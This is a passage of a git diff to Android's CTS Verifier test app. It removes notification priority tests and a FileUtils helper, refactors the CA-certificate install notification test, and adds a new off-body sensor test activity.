-    /** Wait for the user to set the target package priority to default. */
-    protected class WaitForSetPriorityDefault extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createRetryItem(parent, R.string.package_priority_default, mAppLabel);
-        }
-
-        @Override
-        void setUp() {
-            Log.i("WaitForSetPriorityDefault", "waiting for user");
-            status = WAIT_FOR_USER;
-        }
-
-        @Override
-        void test() {
-            status = PASS;
-            next();
-        }
-
-        @Override
-        void tearDown() {
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-
-    /** Wait for the user to set the target package priority to high. */
-    protected class WaitForSetPriorityHigh extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createRetryItem(parent, R.string.package_priority_high, mAppLabel);
-        }
-
-        @Override
-        void setUp() {
-            Log.i("WaitForSetPriorityHigh", "waiting for user");
-            status = WAIT_FOR_USER;
-        }
-
-        @Override
-        void test() {
-            status = PASS;
-            next();
-        }
-
-        @Override
-        void tearDown() {
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-
-    /**
-     * With default priority, the notifcations should be reverse-ordered by time.
-     * A is before B, and therefor should B should rank before A.
-     */
-    protected class DefaultOrderTest extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createAutoItem(parent, R.string.attention_default_order);
-        }
-
-        @Override
-        void setUp() {
-            sendNotifications();
-            status = READY;
-            // wait for notifications to move through the system
-            delay();
-        }
-
-        @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = indexOfPackageInKeys(orderedKeys, getPackageName());
-                            int rankB = indexOfPackageInKeys(orderedKeys, NOTIFICATION_BOT_PACKAGE);
-                            if (rankB != -1 && rankB < rankA) {
-                                status = PASS;
-                            } else {
-                                logFail("expected rankA (" + rankA + ") > rankB (" + rankB + ")");
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            cancelNotifications();
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-
-    /**
-     * With higher package priority, A should rank above B.
-     */
-    protected class PackagePriorityOrderTest extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createAutoItem(parent, R.string.package_priority_user_order);
-        }
-
-        @Override
-        void setUp() {
-            sendNotifications();
-            status = READY;
-            // wait for notifications to move through the system
-            delay();
-        }
-
-        @Override
-        void test() {
-            MockListener.probeListenerOrder(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> orderedKeys) {
-                            int rankA = indexOfPackageInKeys(orderedKeys, getPackageName());
-                            int rankB = indexOfPackageInKeys(orderedKeys, NOTIFICATION_BOT_PACKAGE);
-                            if (rankA != -1 && rankA < rankB) {
-                                status = PASS;
-                            } else {
-                                logFail("expected rankA (" + rankA + ") < rankB (" + rankB + ")");
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
-        }
-
-        @Override
-        void tearDown() {
-            cancelNotifications();
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-    // Utilities
-
-    private void sendNotifications() {
-        // post ours first, with an explicit time in the past to avoid any races.
-        Notification.Builder alice = new Notification.Builder(mContext)
-                .setContentTitle("alice title")
-                .setContentText("alice content")
-                .setSmallIcon(R.drawable.ic_stat_alice)
-                .setWhen(System.currentTimeMillis() - 10000L)
-                .setPriority(Notification.PRIORITY_DEFAULT);
-        mNm.notify(0, alice.build());
-
-        // then post theirs, so it should be higher by default due to recency
-        Notification.Builder bob = new Notification.Builder(mContext)
-                .setContentTitle("bob title")
-                .setContentText("bob content")
-                .setSmallIcon(android.R.drawable.stat_notify_error) // must be global resource
-                .setWhen(System.currentTimeMillis())
-                .setPriority(Notification.PRIORITY_DEFAULT);
-        Intent postIntent = new Intent(ACTION_POST);
-        postIntent.setPackage(NOTIFICATION_BOT_PACKAGE);
-        postIntent.putExtra(EXTRA_ID, 0);
-        postIntent.putExtra(EXTRA_NOTIFICATION, bob.build());
-        postIntent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
-        sendBroadcast(postIntent);
-    }
-
-    private void cancelNotifications() {
-        //cancel ours
-        mNm.cancelAll();
-        //cancel theirs
-        Intent cancelIntent = new Intent(ACTION_CANCEL);
-        cancelIntent.setPackage(NOTIFICATION_BOT_PACKAGE);
-        cancelIntent.putExtra(EXTRA_ID, 0);
-        cancelIntent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
-        sendBroadcast(cancelIntent);
-    }
-
-    /** Search a list of notification keys for a given packageName. */
-    private int indexOfPackageInKeys(List<String> orderedKeys, String packageName) {
-        for (int i = 0; i < orderedKeys.size(); i++) {
-            if (orderedKeys.get(i).contains(packageName)) {
-                return i;
-            }
-        }
-        return -1;
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
index 313ebfa..6a97f0c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShortcutThrottlingResetActivity.java
@@ -43,8 +43,7 @@
 public class ShortcutThrottlingResetActivity extends InteractiveVerifierActivity {
     private static final String TAG = "ShortcutThrottlingReset";
 
-    private static final String NOTIFICATION_BOT_PACKAGE
-            = PackagePriorityVerifierActivity.NOTIFICATION_BOT_PACKAGE;
+    private static final String NOTIFICATION_BOT_PACKAGE = "com.android.cts.robot";
 
     private static final String ACTION_RESET_SETUP_NOTIFICATION =
             "com.android.cts.robot.ACTION_RESET_SETUP_NOTIFICATION";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/FileUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/FileUtils.java
deleted file mode 100644
index 5633c16..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/FileUtils.java
+++ /dev/null
@@ -1,152 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.os;
-
-/** Bits and pieces copied from hidden API of android.os.FileUtils. */
-public class FileUtils {
-
-    private static final int S_IFSOCK = 0140000;
-    private static final int S_IFLNK = 0120000;
-    private static final int S_IFREG = 0100000;
-    private static final int S_IFBLK = 0060000;
-    private static final int S_IFDIR = 0040000;
-    private static final int S_IFCHR = 0020000;
-    private static final int S_IFIFO = 0010000;
-
-    private static final int S_ISUID = 0004000;
-    private static final int S_ISGID = 0002000;
-    private static final int S_ISVTX = 0001000;
-
-    private static final int S_IRUSR = 00400;
-    private static final int S_IWUSR = 00200;
-    private static final int S_IXUSR = 00100;
-
-    private static final int S_IRGRP = 00040;
-    private static final int S_IWGRP = 00020;
-    private static final int S_IXGRP = 00010;
-
-    private static final int S_IROTH = 00004;
-    private static final int S_IWOTH = 00002;
-    private static final int S_IXOTH = 00001;
-
-    static {
-        System.loadLibrary("ctsverifier_jni");
-    }
-
-    public static class FileStatus {
-
-        private int dev;
-        private int ino;
-        private int mode;
-        private int nlink;
-        private int uid;
-        private int gid;
-        private int rdev;
-        private long size;
-        private int blksize;
-        private long blocks;
-        private long atime;
-        private long mtime;
-        private long ctime;
-        private boolean executable;
-
-        public int getUid() {
-            return uid;
-        }
-
-        public int getGid() {
-            return gid;
-        }
-
-        public int getMode() {
-            return mode;
-        }
-
-        public boolean isDirectory() {
-            return hasModeFlag(mode, S_IFDIR);
-        }
-
-        public boolean isSymbolicLink() {
-            return hasModeFlag(mode, S_IFLNK);
-        }
-
-        public boolean isSetUid() {
-            return hasModeFlag(mode, S_ISUID);
-        }
-
-        public boolean isSetGid() {
-            return hasModeFlag(mode, S_ISGID);
-        }
-
-        public boolean isExecutableByCTS() {
-            return executable;
-        }
-    }
-
-    /**
-     * @param path of the file to stat
-     * @param status object to set the fields on
-     * @param statLinks or don't stat links (lstat vs stat)
-     * @return whether or not we were able to stat the file
-     */
-    public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
-
-    public native static String getUserName(int uid);
-
-    public native static String getGroupName(int gid);
-
-    /** Display the file's mode like "ls -l" does. */
-    public static String getFormattedPermissions(int mode) {
-        StringBuilder permissions = new StringBuilder("-rwxrwxrwx");
-
-        int[] typeMasks = {S_IFSOCK, S_IFLNK, S_IFREG, S_IFBLK, S_IFDIR, S_IFCHR, S_IFIFO};
-        char[] typeSymbols = {'s', 'l', '-', 'b', 'd', 'c', 'p'};
-        for (int i = 0; i < typeMasks.length; i++) {
-            if (hasModeFlag(mode, typeMasks[i])) {
-                permissions.setCharAt(0, typeSymbols[i]);
-                break;
-            }
-        }
-
-        int[] masks = {S_IRUSR, S_IWUSR, S_IXUSR, S_IRGRP, S_IWGRP, S_IXGRP,
-                S_IROTH, S_IWOTH, S_IXOTH};
-        for (int i = 0; i < masks.length; i++) {
-            if (!hasModeFlag(mode, masks[i])) {
-                permissions.setCharAt(1 + i, '-');
-            }
-        }
-
-
-        if (hasModeFlag(mode, S_ISUID)) {
-            permissions.setCharAt(3, hasModeFlag(mode, S_IXUSR) ? 's' : 'S');
-        }
-
-        if (hasModeFlag(mode, S_ISGID)) {
-            permissions.setCharAt(6, hasModeFlag(mode, S_IXGRP) ? 's' : 'S');
-        }
-
-        if (hasModeFlag(mode, S_ISVTX)) {
-            permissions.setCharAt(9, hasModeFlag(mode, S_IXOTH) ? 't' : 'T');
-        }
-
-        return permissions.toString();
-    }
-
-    private static boolean hasModeFlag(int mode, int flag) {
-        return (mode & flag) == flag;
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/CAInstallNotificationVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/CAInstallNotificationVerifierActivity.java
index d49047f..ea7b991 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/CAInstallNotificationVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/CAInstallNotificationVerifierActivity.java
@@ -16,202 +16,84 @@
 
 package com.android.cts.verifier.security;
 
-import android.app.Service;
 import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
+import android.content.Context;
 import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
+import android.security.KeyChain;
 import android.util.Log;
-import android.view.LayoutInflater;
 import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
 import android.widget.Button;
-import android.widget.ImageView;
-import android.widget.TextView;
 
-import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.util.concurrent.LinkedBlockingQueue;
 
-public class CAInstallNotificationVerifierActivity extends PassFailButtons.Activity
-implements Runnable {
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.TestListActivity;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+import com.android.cts.verifier.TestResult;
+
+public class CAInstallNotificationVerifierActivity extends DialogTestListActivity {
     static final String TAG = CAInstallNotificationVerifierActivity.class.getSimpleName();
-    private static final String STATE = "state";
-    private static final int PASS = 1;
-    private static final int FAIL = 2;
-    private static final int WAIT_FOR_USER = 3;
-    private static LinkedBlockingQueue<String> sDeletedQueue = new LinkedBlockingQueue<String>();
-
-    private int mState;
-    private int[] mStatus;
-    private LayoutInflater mInflater;
-    private ViewGroup mItemList;
-    private Runnable mRunner;
-    private View mHandler;
 
     private static final String CERT_ASSET_NAME = "myCA.cer";
-    private File certStagingFile = new File("/sdcard/", CERT_ASSET_NAME);
 
-    protected boolean doneInstallingCert = false;
-    protected boolean doneCheckingInSettings = false;
-    protected boolean doneRemovingScreenLock = false;
-    protected boolean doneCheckingNotification = false;
-    protected boolean doneDismissingNotification = false;
+    // From @hidden field in android.provider.Settings
+    private static final String ACTION_TRUSTED_CREDENTIALS_USER
+            = "com.android.settings.TRUSTED_CREDENTIALS_USER";
 
-
-    public static class DismissService extends Service {
-        @Override
-        public IBinder onBind(Intent intent) {
-            return null;
-        }
-
-        @Override
-        public void onStart(Intent intent, int startId) {
-            sDeletedQueue.offer(intent.getAction());
-        }
+    public CAInstallNotificationVerifierActivity() {
+        super(R.layout.cainstallnotify_main, R.string.cacert_test, R.string.cacert_info,
+                R.string.cacert_info);
     }
 
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        if (savedInstanceState != null) {
-            mState = savedInstanceState.getInt(STATE, 0);
-        }
-        mRunner = this;
-        mInflater = getLayoutInflater();
-        View view = mInflater.inflate(R.layout.cainstallnotify_main, null);
-        mItemList = (ViewGroup) view.findViewById(R.id.ca_notify_test_items);
-        mHandler = mItemList;
-        createTestItems();
-        mStatus = new int[mItemList.getChildCount()];
-        setContentView(view);
-
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.cacert_test, R.string.cacert_info, -1);
+    protected void setupTests(final ArrayTestListAdapter testAdapter) {
+        testAdapter.add(new InstallCertItem(this,
+                R.string.cacert_install_cert,
+                "install_cert",
+                KeyChain.createInstallIntent()));
+        testAdapter.add(new DialogTestListItem(this,
+                R.string.cacert_check_cert_in_settings,
+                "check_cert",
+                R.string.cacert_check_cert_in_settings,
+                new Intent(ACTION_TRUSTED_CREDENTIALS_USER)));
+        testAdapter.add(new DialogTestListItem(this,
+                R.string.cacert_remove_screen_lock,
+                "remove_screen_lock",
+                R.string.cacert_remove_screen_lock,
+                new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD)));
+        testAdapter.add(new DialogTestListItem(this,
+                R.string.cacert_check_notification,
+                "check_notification") {
+                    @Override
+                    public void performTest(DialogTestListActivity activity) {
+                        setTestResult(this, TestResult.TEST_RESULT_PASSED);
+                    }
+                });
+        testAdapter.add(new DialogTestListItem(this,
+                R.string.cacert_dismiss_notification,
+                "dismiss_notification") {
+                    @Override
+                    public void performTest(DialogTestListActivity activity) {
+                        setTestResult(this, TestResult.TEST_RESULT_PASSED);
+                    }
+                });
     }
 
-    @Override
-    protected void onSaveInstanceState (Bundle outState) {
-        outState.putInt(STATE, mState);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        next();
-    }
-
-    // Interface Utilities
-
-    private void createTestItems() {
-        createUserItem(R.string.cacert_install_cert, new InstallCert());
-        createUserItem(R.string.cacert_check_cert_in_settings, new OpenTrustedCredentials());
-        createUserItem(R.string.cacert_remove_screen_lock, new RemoveScreenLock());
-        createUserItem(R.string.cacert_check_notification,
-                new DoneCheckingNotification(), R.string.cacert_done);
-        createUserItem(R.string.cacert_dismiss_notification,
-                new DoneCheckingDismissed(), R.string.cacert_done);
-    }
-
-    private void setItemState(int index, boolean passed) {
-        ViewGroup item = (ViewGroup) mItemList.getChildAt(index);
-        ImageView status = (ImageView) item.findViewById(R.id.ca_notify_status);
-        status.setImageResource(passed ? R.drawable.fs_good : R.drawable.fs_error);
-        View button = item.findViewById(R.id.ca_notify_do_something);
-        button.setClickable(false);
-        button.setEnabled(false);
-        status.invalidate();
-    }
-
-    private void markItemWaiting(int index) {
-        ViewGroup item = (ViewGroup) mItemList.getChildAt(index);
-        ImageView status = (ImageView) item.findViewById(R.id.ca_notify_status);
-        status.setImageResource(R.drawable.fs_warning);
-        status.invalidate();
-    }
-
-    private View createUserItem(int stringId, OnClickListener listener) {
-        return createUserItem(stringId, listener, 0);
-    }
-
-    private View createUserItem(int stringId, OnClickListener listener, int buttonLabel) {
-        View item = mInflater.inflate(R.layout.cainstallnotify_item, mItemList, false);
-        TextView instructions = (TextView) item.findViewById(R.id.ca_notify_instructions);
-        instructions.setText(stringId);
-        Button button = (Button) item.findViewById(R.id.ca_notify_do_something);
-        if (buttonLabel != 0) {
-            button.setText(buttonLabel);
-        }
-        button.setOnClickListener(listener);
-        mItemList.addView(item);
-        return item;
-    }
-
-    // Test management
-
-    public void run() {
-        while (mState < mStatus.length && mStatus[mState] != WAIT_FOR_USER) {
-            if (mStatus[mState] == PASS) {
-                setItemState(mState, true);
-                mState++;
-            } else if (mStatus[mState] == FAIL) {
-                setItemState(mState, false);
-                return;
-            } else {
-                break;
-            }
+    private class InstallCertItem extends DialogTestListItem {
+        public InstallCertItem(Context context, int nameResId, String testId, Intent intent) {
+            super(context, nameResId, testId, nameResId, intent);
         }
 
-        if (mState < mStatus.length && mStatus[mState] == WAIT_FOR_USER) {
-            markItemWaiting(mState);
-        }
-
-        switch (mState) {
-            case 0:
-                testInstalledCert(0);
-                break;
-            case 1:
-                testCheckedSettings(1);
-                break;
-            case 2:
-                testRemovedScreenLock(2);
-                break;
-            case 3:
-                testCheckedNotification(3);
-                break;
-            case 4:
-                testNotificationDismissed(4);
-                break;
-        }
-    }
-
-    /**
-     * Return to the state machine to progress through the tests.
-     */
-    private void next() {
-        mHandler.post(mRunner);
-    }
-
-    /**
-     * Wait for things to settle before returning to the state machine.
-     */
-    private void delay() {
-        mHandler.postDelayed(mRunner, 2000);
-    }
-
-    // Listeners
-
-    class InstallCert implements OnClickListener {
         @Override
-        public void onClick(View v) {
+        public void performTest(DialogTestListActivity activity) {
+            final File certStagingFile = new File("/sdcard/", CERT_ASSET_NAME);
             InputStream is = null;
             FileOutputStream os = null;
             try {
@@ -232,97 +114,7 @@
                 Log.w(TAG, "Problem moving cert file to /sdcard/", ioe);
                 return;
             }
-            try {
-                startActivity(new Intent("android.credentials.INSTALL"));
-            } catch (ActivityNotFoundException e) {
-                // do nothing
-            }
-            doneInstallingCert = true;
-        }
-    }
-
-    class OpenTrustedCredentials implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            try {
-                startActivity(new Intent("com.android.settings.TRUSTED_CREDENTIALS_USER"));
-            } catch (ActivityNotFoundException e) {
-                // do nothing
-            }
-            doneCheckingInSettings = true;
-        }
-    }
-
-    class RemoveScreenLock implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            try {
-                startActivity(new Intent(DevicePolicyManager.ACTION_SET_NEW_PASSWORD));
-            } catch (ActivityNotFoundException e) {
-                Log.w(TAG, "Activity not found for ACTION_SET_NEW_PASSWORD");
-            }
-            doneRemovingScreenLock = true;
-        }
-    }
-
-    class DoneCheckingNotification implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            doneCheckingNotification = true;
-        }
-    }
-
-    class DoneCheckingDismissed implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            doneDismissingNotification = true;
-        }
-    }
-
-    // Tests
-
-    private void testInstalledCert(final int i) {
-        if (doneInstallingCert) {
-            mStatus[i] = PASS;
-            next();
-        } else {
-            delay();
-        }
-    }
-
-    private void testCheckedSettings(final int i) {
-        if (doneCheckingInSettings) {
-            mStatus[i] = PASS;
-            next();
-        } else {
-            delay();
-        }
-    }
-
-    private void testRemovedScreenLock(final int i) {
-        if (doneRemovingScreenLock) {
-            mStatus[i] = PASS;
-            next();
-        } else {
-            delay();
-        }
-    }
-
-    private void testCheckedNotification(final int i) {
-        if (doneCheckingNotification) {
-            mStatus[i] = PASS;
-            next();
-        } else {
-            delay();
-        }
-    }
-
-    private void testNotificationDismissed(final int i) {
-        if (doneDismissingNotification) {
-            mStatus[i] = PASS;
-            next();
-        } else {
-            delay();
+            super.performTest(activity);
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index 21a4f56..841dcea 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -143,7 +143,7 @@
             if (wakeUpSensor == null) {
                 throw new SensorNotSupportedException(Sensor.TYPE_MAGNETIC_FIELD, true);
             }
-            return runAPWakeUpWhenFIFOFull(wakeUpSensor);
+            return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
         }
 
         public String testAPWakeUpWhenFIFOFullAccel() throws Throwable {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
new file mode 100644
index 0000000..c3c976e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -0,0 +1,581 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.verifier.sensors;
+
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.Sensor;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorNotSupportedException;
+import android.hardware.cts.helpers.SuspendStateMonitor;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.os.SystemClock;
+import android.support.v4.content.LocalBroadcastManager;
+import android.util.Log;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
+import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import junit.framework.Assert;
+import static junit.framework.Assert.fail;
+
+
+/**
+ * Manual test for testing the low-latency offbody detect sensor. This test consists of 3
+ * sub-tests designed to verify the sensor event data, verify event trigger response times
+ * are within spec for the sensor type, and to verify that the sensor can wake the device.
+ */
+public class OffBodySensorTestActivity
+        extends SensorCtsVerifierTestActivity {
+    private static final String TAG="OffbodySensorTest";
+    private static String ACTION_ALARM = "OffBodySensorTestActivity.ACTION_ALARM";
+    private static final int MAX_OFF_BODY_EVENT_LATENCY_MS = 1000;
+    private static final int MAX_ON_BODY_EVENT_LATENCY_MS = 5000;
+    private static final int LLOB_EVENT_MAX_DELAY_SEC = 20;
+    private static final long MAX_ALLOWED_DELAY_MS = TimeUnit.SECONDS.toMillis(1);
+    private static final long RESULT_REPORT_SHOW_TIME_MS = TimeUnit.SECONDS.toMillis(5);
+    private static final int OFFBODY_EVENT_VALUES_LENGTH = 1;
+
+    private static final float OFF_BODY_EVENT_VALUE = 0;
+    private static final float ON_BODY_EVENT_VALUE = 1;
+    private static final float BAD_VALUE_SEEN_INIT = 0;
+    private static float mBadValueSeen = BAD_VALUE_SEEN_INIT;
+
+    private enum State {
+        OFF_BODY, ON_BODY, UNKNOWN
+    }
+
+    // time to wait for offbody event after the device has gone into suspend. Even after
+    // 45 secs if LLOB sensor does not trigger, the test will fail.
+    private static final long ALARM_WAKE_UP_AP_DELAY_MS = TimeUnit.SECONDS.toMillis(45);
+
+    // acceptable time difference between event time and AP wake up time.
+    private static final long MAX_ACCEPTABLE_DELAY_EVENT_AP_WAKE_UP_NS =
+            TimeUnit.MILLISECONDS.toNanos(1200);
+
+    private static final int NANOSECONDS_PER_MILLISECOND = 1000000;
+    private AlarmManager mAlarmManager;
+    private SensorManager mSensorManager;
+    private Sensor mOffBodySensor;
+    private boolean mOffBodySensorRegistered;
+    private long mTestStartTimestampMs;
+    private State mPreviousSensorState;
+    private PendingIntent mPendingIntent;
+    private PowerManager.WakeLock mDeviceSuspendLock;
+    private SensorEventVerifier mVerifier;
+    private SensorTestScreenManipulator mScreenManipulator;
+
+    public class SensorEventRegistry {
+        public final SensorEvent event;
+        public final long receiveTimestampNanos;
+
+        public SensorEventRegistry(SensorEvent event, long realtimeTimestampNanos) {
+            this.event = event;
+            this.receiveTimestampNanos = realtimeTimestampNanos;
+        }
+    }
+
+    private class SensorEventVerifier implements SensorEventListener {
+        private volatile CountDownLatch mCountDownLatch;
+        private volatile SensorEventRegistry mEventRegistry;
+        private volatile long mTimestampForLastSensorEvent = 0;
+
+        @Override
+        public void onAccuracyChanged(Sensor sensor, int accuracy) {}
+
+        @Override
+        public void onSensorChanged(SensorEvent event) {
+            long elapsedRealtimeNanos = SystemClock.elapsedRealtimeNanos();
+            int type = event.sensor.getType();
+
+            if (type == Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT) {
+                switch((int) event.values[0]) {
+                    case (int) OFF_BODY_EVENT_VALUE:
+                        Log.i(TAG, "onSensorChanged(): OFF_BODY ts="+event.timestamp+
+                                ", now="+elapsedRealtimeNanos+", delta="+
+                                (elapsedRealtimeNanos-event.timestamp)/1000000+"mS");
+                        mPreviousSensorState = State.OFF_BODY;
+                        break;
+                    case (int) ON_BODY_EVENT_VALUE:
+                        Log.i(TAG, "onSensorChanged(): ON_BODY ts = "+event.timestamp+
+                                ", now="+elapsedRealtimeNanos+", delta="+
+                                (elapsedRealtimeNanos-event.timestamp)/1000000+"mS");
+                        mPreviousSensorState = State.ON_BODY;
+                        break;
+                    default:
+                        Log.e(TAG, "onSensorChanged(): invalid value "+event.values[0]+
+                                " received");
+                        mBadValueSeen = event.values[0];
+                        break;
+                }
+                mEventRegistry = new SensorEventRegistry(event, elapsedRealtimeNanos);
+                getTestLogger().logMessage(
+                        R.string.snsr_offbody_state_change,
+                        (int) event.values[0],
+                        elapsedRealtimeNanos);
+                releaseLatch();
+            }
+        }
+
+        public void releaseLatch() {
+            if (mCountDownLatch != null) {
+                mCountDownLatch.countDown();
+            }
+        }
+
+        public long getTimeStampForSensorEvent() {
+            return mTimestampForLastSensorEvent;
+        }
+
+        public String awaitAndVerifyEvent(float expectedResponseValue) throws Throwable {
+            return awaitAndVerifyEvent(expectedResponseValue, 0);
+        }
+
+        public String awaitAndVerifyEvent(float expectedResponseValue, int maxEventLatencyMs)
+                throws Throwable {
+            SensorEventRegistry registry = waitForEvent();
+            String eventArrivalMessage;
+            if ((registry == null) || (registry.event == null)) {
+                eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, false);
+                Assert.fail(eventArrivalMessage);
+            }
+
+            // verify an event arrived, and it is indeed a Low Latency Offbody Detect event
+            SensorEvent event = registry.event;
+            eventArrivalMessage = getString(R.string.snsr_offbody_event_arrival, event != null);
+            Assert.assertNotNull(eventArrivalMessage, event);
+
+            String result = verifyEvent(registry, expectedResponseValue, maxEventLatencyMs);
+            return result;
+        }
+
+        public String verifyEvent(SensorEventRegistry registry, float expectedResponseValue,
+                int maxEventLatencyMs) throws Throwable {
+            int eventType = registry.event.sensor.getType();
+            String eventTypeMessage = getString(
+                    R.string.snsr_offbody_event_type,
+                    Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT,
+                    eventType);
+            Assert.assertEquals(eventTypeMessage,
+                    Sensor.TYPE_LOW_LATENCY_OFFBODY_DETECT,
+                    eventType);
+
+            float value = registry.event.values[0];
+            String sensorName = registry.event.sensor.getName();
+            String eventName = (value == ON_BODY_EVENT_VALUE) ? "ON-BODY" : "OFF-BODY";
+
+            long eventLatencyMs = (registry.receiveTimestampNanos/NANOSECONDS_PER_MILLISECOND)
+                    - mTestStartTimestampMs;
+
+            int valuesLength = registry.event.values.length;
+            String valuesLengthMessage = getString(
+                    R.string.snsr_event_length,
+                    OFFBODY_EVENT_VALUES_LENGTH,
+                    valuesLength,
+                    sensorName);
+            Assert.assertEquals(valuesLengthMessage, OFFBODY_EVENT_VALUES_LENGTH, valuesLength);
+
+            String valuesMessage = getString(
+                    R.string.snsr_event_value,
+                    expectedResponseValue,
+                    value,
+                    sensorName);
+            Assert.assertEquals(valuesMessage, expectedResponseValue, value);
+
+            if (maxEventLatencyMs != 0) {
+                Log.i(TAG, "event latency was "+eventLatencyMs+" ms for "+
+                        eventName+" event");
+                String responseViolationMessage = getString(
+                    R.string.snsr_offbody_response_timing_violation,
+                    eventName,
+                    maxEventLatencyMs,
+                    eventLatencyMs);
+                boolean violation = (eventLatencyMs > maxEventLatencyMs);
+                Assert.assertFalse(responseViolationMessage, violation);
+            }
+            return null;
+        }
+
+        private void verifyOffbodyEventNotInvalid() throws InterruptedException {
+            if (mBadValueSeen != BAD_VALUE_SEEN_INIT) {
+                Assert.fail(
+                    String.format(getString(R.string.snsr_offbody_event_invalid_value),
+                    OFF_BODY_EVENT_VALUE,
+                    ON_BODY_EVENT_VALUE,
+                    mBadValueSeen));
+            }
+        }
+
+        private SensorEventRegistry waitForEvent() throws InterruptedException {
+            return waitForEvent(null);
+        }
+
+        private SensorEventRegistry waitForEvent(PowerManager.WakeLock suspendLock)
+                throws InterruptedException {
+            mCountDownLatch = new CountDownLatch(1);
+
+            if ((suspendLock != null) && suspendLock.isHeld()) {
+                suspendLock.release();
+            }
+
+            mCountDownLatch.await(LLOB_EVENT_MAX_DELAY_SEC, TimeUnit.SECONDS);
+
